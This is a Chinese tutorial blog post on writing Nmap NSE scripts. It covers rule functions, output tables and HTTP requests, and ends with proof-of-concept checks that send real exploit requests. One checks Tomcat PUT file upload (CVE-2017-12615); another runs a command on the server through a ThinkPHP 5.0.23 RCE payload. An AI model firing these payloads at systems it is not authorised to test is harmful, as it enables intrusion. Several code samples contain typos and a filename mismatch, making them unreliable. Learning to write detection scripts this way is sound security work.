ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Nmap脚本编写

2020-03-08 23:00:14  阅读:232  来源: 互联网

标签:脚本 function end Nmap http host 编写 local port


 

Nmap介绍

 
Nmap是一个强大的扫描工具,是一个开源的工具(钦佩开源开发者)
 
脚本位置位于:

Ubuntu:
/usr/share/nmap/scripts/
MAC:
/usr/local/Cellar/nmap/7.70/share/nmap/scripts
看来Mac使用Brew下载的东西都在 /usr/local/Cellar/ 里面

 
自带的脚本数量很多
 
接下来是他的脚本参数
 

SCRIPT SCAN:
  -sC: equivalent to --script=default
  --script=<Lua scripts>: <Lua scripts> is a comma separated list of
           directories, script-files or script-categories
  --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
  --script-args-file=filename: provide NSE script args in a file
  --script-trace: Show all data sent and received
  --script-updatedb: Update the script database.
  --script-help=<Lua scripts>: Show help about scripts.
           <Lua scripts> is a comma-separated list of script-files or
           script-categories.

 
-sC 是指采用默认配置扫描与--script=default等价
 
--script=脚本名(一般位于Scripts目录下)
 
ls | sed 's/.nse//' > name.list可以快速将我们所有的脚本名字整出来
 

 
--script-args=ker1=value1,key2=value2该参数是用来传递脚本里面的参数

-–script-args-file=filename使用文件夹来为脚本提供参数

--script-trace如果没有设置该参数,则所有的脚本收发请求过程都会显示

--script-updatedb Script目录自带一个script.db,该文件中保存了当前Nmap可用的脚本类似于一个小型数据库,如果我们开启nmap并且调用了此参数,则nmap会自行扫描scripts目录中的扩展脚本,进行数据库更新
--script-help=脚本名,调用该参数后,Nmap会输出该脚本名称对应的脚本使用参数,以及详细介绍信息。
 
-sC参数调用的默认脚本

https://nmap.org/nsedoc/categories/default.html

确实挺多的

脚本执行规则

 
Nmap在调用任何脚本之前都会执行nse_main.lua这个脚本,里面定义了一些脚本的执行规则,首先是在大约64行左右吧
 

 

prerule //再扫描任何主机之前,prerule函数执行一次
hostrule //在扫描一个主机之后运行一次
portrule //在扫描一个主机的端口后运行一次
postrule //在全部扫描完毕后运行一次

 
可以写一个脚本实验一下
 

prerule=function()
    print("prerule()")
end
hostrule=function()
    print("hostrule()")
end
portrule=function()
    print("portrule()")
end
action=function()
    print("action()")
end
postrule=function()
    print("postrule()")
end

 
使用一下实验一下结果
 

 
action函数是在portrulehostrule返回true后自动执行的函数
 

local stdnse = require "stdnse"
prerule=function()
end
hostrule=function(host)
    return true
end
portrule=function(host,port)
    return true
end
action = function()
    print("[*]action ...")
end
postrule=function()
end

 

主机/端口

&nbsp
在进行主机扫描的时候我们会执行hostrule函数,这个还有一个形参,就是host(在Lua语言中它是一种叫做 表 的数据类型,就当他是php中的关联数组吧),里面包含一些信息
 

 
同样的对于portrule也是一样的
 

 
不过有两个参数hostport
 

优化输出格式--表

 
在stdnse包中有一个函数叫output_table(),它能够返回一个table数据类型,通过操作这个table,将Key->Value的对应关系数据或列表数据放入,再return,就可以输出漂亮的格式
 

local stdnse = require "stdnse"
http_table = stdnse.output_table()
prerule=function()
end
hostrule=function(host)
end
portrule=function(host,port)
    if(port.number == 53 or port.number == 443)then
        http_table.http_host_mac = stdnse.format_mac(host.mac_addr)
        return true
    end
end
action=function()
    return http_table
end
postrule=function()
end

 

 
 

Http包的使用

 
一般做漏洞验证的时候,就需要使用Http包来发送请求信息,最后根据结果来判断是否有漏洞
 

  • 响应表

 
响应表中主要涵盖了:HTTP状态码、HTTP响应头、HTTP版本、HTTP原始响应头、Cookies、HTTP响应主体内容(body)等

|   Response: 
|     status: 200
|     header: 
|       content-length: 0
|       allow: POST,OPTIONS,HEAD,GET
|       connection: close
|       content-type: text/html
|       server: Apache/2.4.29 (Debian)
|       date: Fri, 06 Jul 2018 07:02:13 GMT
|     ssl: false
|     body: 
|     cookies: 
| 
|     status-line: HTTP/1.1 200 OK\x0D
| 
|     rawheader: 
|       Date: Fri, 06 Jul 2018 07:02:13 GMT
|       Server: Apache/2.4.29 (Debian)
|       Allow: POST,OPTIONS,HEAD,GET
|       Content-Length: 0
|       Connection: close
|       Content-Type: text/html
|       
|_    version: 1.1

 

  • Options表

 
Options表主要用于设置HTTP请求时的超时时间、Cookie、请求头、HTTP认证、页面缓存、地址类型(IPV4/IPV6)、是否验证重定向
 

{
timeout:
header:{"Content-Type":"",...},
cookies:{{"name","value","path"},...},
auth:{username:"",password:""},
bypass_cache:true,
no_cache:true,
no_cache_body:true,
any_af:true,
redirect_ok:true
}

 

  • 发送http请求

 
使用http包中的generic_request可以发送HTTP请求
 
参数如下
 

host : host表
port : port 表
method : HTTP方法,例如:GET、POST、HEAD…
path : 请求路径,默认是根路径“/”
options : 用于设置请求相关的Cookie、超时时间、header

 
发送OPTIONS请求获取目标服务支持哪些HTTP方法
 

local stdnse = require("stdnse")
local http = require("http")
prerule=function()
end
hostrule=function()
    return false
end
portrule=function(host,port)
    if(port.number == 12345) then
        return true
    end
end
action=function(host,port)
    local result = http.generic_request(host,port,"OPTIONS","/",nil)
    if(result.status == 200 ) then
        local allow=stdnse.oupput_table()
        allow.allowMethod=result.header["allow"]
        return allow
    end
en

 
发送Get请求(就是generic_request函数少了一个、method参数)
 

local stdnse = require "stdnse"
local http = require "http"
prerule=function()
end
hostrule=function(host)
    return false
end
portrule=function(host,port)
    if(port.number == 80) then
        return true
    end
    return false
end
action = function(host,port)
    local result = http.get(host,port,"/nmap")
    if(result.status == 404)then
        local status = stdnse.output_table()
        status.response_line = result["status-line"]
        return status
    end
end
postrule=function()
end

 
发送POST请求
 
参数如下
 

host : host表
port : port 表
path : 请求路径,默认是根路径“/”
options : 用于设置请求相关的Cookie、超时时间、header
ignored : 是否忽略向后兼容性
postdata : post提交数据,可以是一个表,也可以是一个字符串,具体形式如下:

 
postdata有两种表现形式
 

username=admin&password=admin
或者:
local data = {}
data.username = "admin"
data.password = "admin"

 

local stdnse = require("stdnse")
local http = require("http")
hostrule=function(host)
    return false
end
portrule=function(host,port)
    if(port.number == 12345) then
        return true
    end
    return false
end
action=function(host,port)
    local data = {}
    data.username = "admin"
    data.password = "admin"
    local result = http.post(host,port,"/1.php",nil,true,data)
    if(result.status==200) then
        local message = stdnse.output_table()
        message.response_line= result["body"]
        return message
    end
end

 
http.generic_request以及http.posthttp.get等都返回一个响应表,我们可以从中取出一些数据来验证POC或者EXP等是否有效
 

简单脚本编写

 
编写CVE-2017-12615的验证脚本
 
这里面我用了Vulhub的环境来进行复现
 
这个漏洞就是利用PUT像服务器恶意上传文件,并且上传成功后的状态码为201
 

 

local stdnse = require("stdnse")
local http = require("http")
local 
hostrule=function()
end
portrule=function(host,port)
    local num_port = {80,8080,8090,8899}
    for test in pairs(num_port)do
        if(port.number ==  num_port[test])then
            return true
        end
    end
end
action=function(host,port)
    local poc_string="Mikasa"
    local file_name=string.format("/%d.jsp",math.random(9999))
    local put_upload=http.put(host,port,file_name .. "/",nil,poc_string)
    local output=stdnse.output_table()
    if(put_upload.status == 201)then
        output.shell_name=file_name
        return output
    end
    return false
end
postrule=function()
end

 

 

 

脚本进阶编程

 
上面的例子是根据我们http状态码来进行判断的,但是在检测的时候大多数都是对响应内容的排查,这时候就要就要学习一下字符串操作函数以及HTTP包自带的函数
 

response_contains函数,用于在响应表中匹配字符串,参数如下:
response : 响应表,可以是(http.get、http.post、http. pipeline_go、http.head等函数的返回值)
pattern : 字符串匹配模式,可参考lua手册
case_sensitive : 是否区分大小写,默认值为false,不区分
返回值:
match_state : 匹配成功为true,匹配失败为false

 
Lua字符匹配
 

 

 
lua中的特殊字符是%.^$+-*?
 
比如上方我们可以验证是否我们上传的文件内容是否是正确的
 

local stdnse = require("stdnse")
local http = require("http")
local 
hostrule=function()
end
portrule=function(host,port)
    local num_port = {80,8080,8090,8899}
    for test,test233 in pairs(num_port)do
        if(port.number ==  test233)then
            return true
        end
    end
end


action=function(host,port)
    local shell_name=string.format("%sQAQ%d.jsp","/",math.random(9999))
    local put_upload=http.put(host,port,shell_name .. "/",nil,"CVE-2017-12615")
    local status=stdnse.output_table()
    if(put_upload.status== 201)then
        status.shell_name=shell_name
        local get_test=http.get(host,port,shell_name)
        if(get_test and http.response_contains(get_test,"CVE%-2017%-12615"))then

            return status
        end
        return false
    end
    return false
end

 
更多库可以参考
 
https://nmap.org/nsedoc/lib/
 

ThphpRce检测

 
上面都是根据别人博客学习总结的,自己也想写一个,但不知道写什么,于是就拿来写Thinkphp吧
 

local stdnse = require("stdnse")
local http = require("http")
prerole=function()
end
hostrule=function()
end
portrule=function(host,port)
    local port_num={80,443,8080}
    for test,ppp in pairs(port_num)do
        if(port.number == ppp)then
            return true
        end
    end
end

action=function(host,port)
    local uri="/index.php?s=captcha"
    local data = {}
    data["_method"] = "__construct"
    data["filter[]"] = "system"
    data["method"] = "get"
    data["server[REQUEST_METHOD]"] = "echo Mikasa > 2.txt"
    local qqqq=http.post(host,port,uri,nil,true,data)
    local uri="/2.txt"
    local status = stdnse.output_table()
    local post_data =http.get(host,port,uri)
    if(post_data.status == 200 )then
        status.vlun="ThinkPhpRce"
        return status
    end
end

 

 
这个其实不完美,哎,我的水平就这样...
 

Nmap完整脚本

 
一个完整的NSE脚本应该包含以下字段
 
description:脚本的描述以及catagories:脚本的分类rule:脚本触发规则还有action:脚本执行内容
 
上面完整的代码如下
 

local stdnse = require("stdnse")
local http = require("http")
local vulns = require("vulns")
description = [[Chink ThinkPhp5.0.23-Rce]]

author = "Mikasa"

license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

categories = {"vuln"}


local vuln = {
    title = "ThinkPhp5.0.23-Rce",
    state = vulns.STATE.NOT_VULN,
    description = [[Chink ThinkPhp5.0.23-Rce]],
    IDS = {
     CVE = "" 
    },
    references = {
     ""
    },
       dates = {
        disclosure = { year = '2020', month = '3', day = '08' }
    }
}


prerole=function()
end
hostrule=function()
end
portrule=function(host,port)
    local port_num={80,443,8080}
    for test,ppp in pairs(port_num)do
        if(port.number == ppp)then
            return true
        end
    end
end

action=function(host,port)
    local vuln_report = vulns.Report:new(SCRIPT_NAME,host,port)
    local uri="/index.php?s=captcha"
    local data = {}
    data["_method"] = "__construct"
    data["filter[]"] = "system"
    data["method"] = "get"
    data["server[REQUEST_METHOD]"] = "echo Mikasa > 5.txt"
    local qqqq=http.post(host,port,uri,nil,true,data)
    local uri="/2.txt"
    local status = stdnse.output_table()
    local post_data =http.get(host,port,uri)
    if(post_data.status == 200 )then
        --status.vlun="ThinkPhpRce"
        vuln.state = vulns.STATE.VULN
        --return status
        return vuln_report:make_output(vuln)
    end
end

 

 
这里我们用漏洞报告的形式取代了以前的output_table()
 
关于Nmap脚本的学习就暂时到这里了
 

参考资料

 
https://github.com/shark1990/nmapScripts/blob/master/webLogic/CVE-2017-10271/CVE-2017-10271.nse

https://zhuanlan.zhihu.com/p/40681245

https://zhuanlan.zhihu.com/p/40677048

https://zhuanlan.zhihu.com/p/40678654

https://zhuanlan.zhihu.com/p/40681245

https://lengjibo.github.io/nmapnse/
 
多谢各位大佬写的一系列文章

标签:脚本,function,end,Nmap,http,host,编写,local,port
来源: https://www.cnblogs.com/Mikasa-Ackerman/p/Nmap-jiao-ben-bian-xie.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有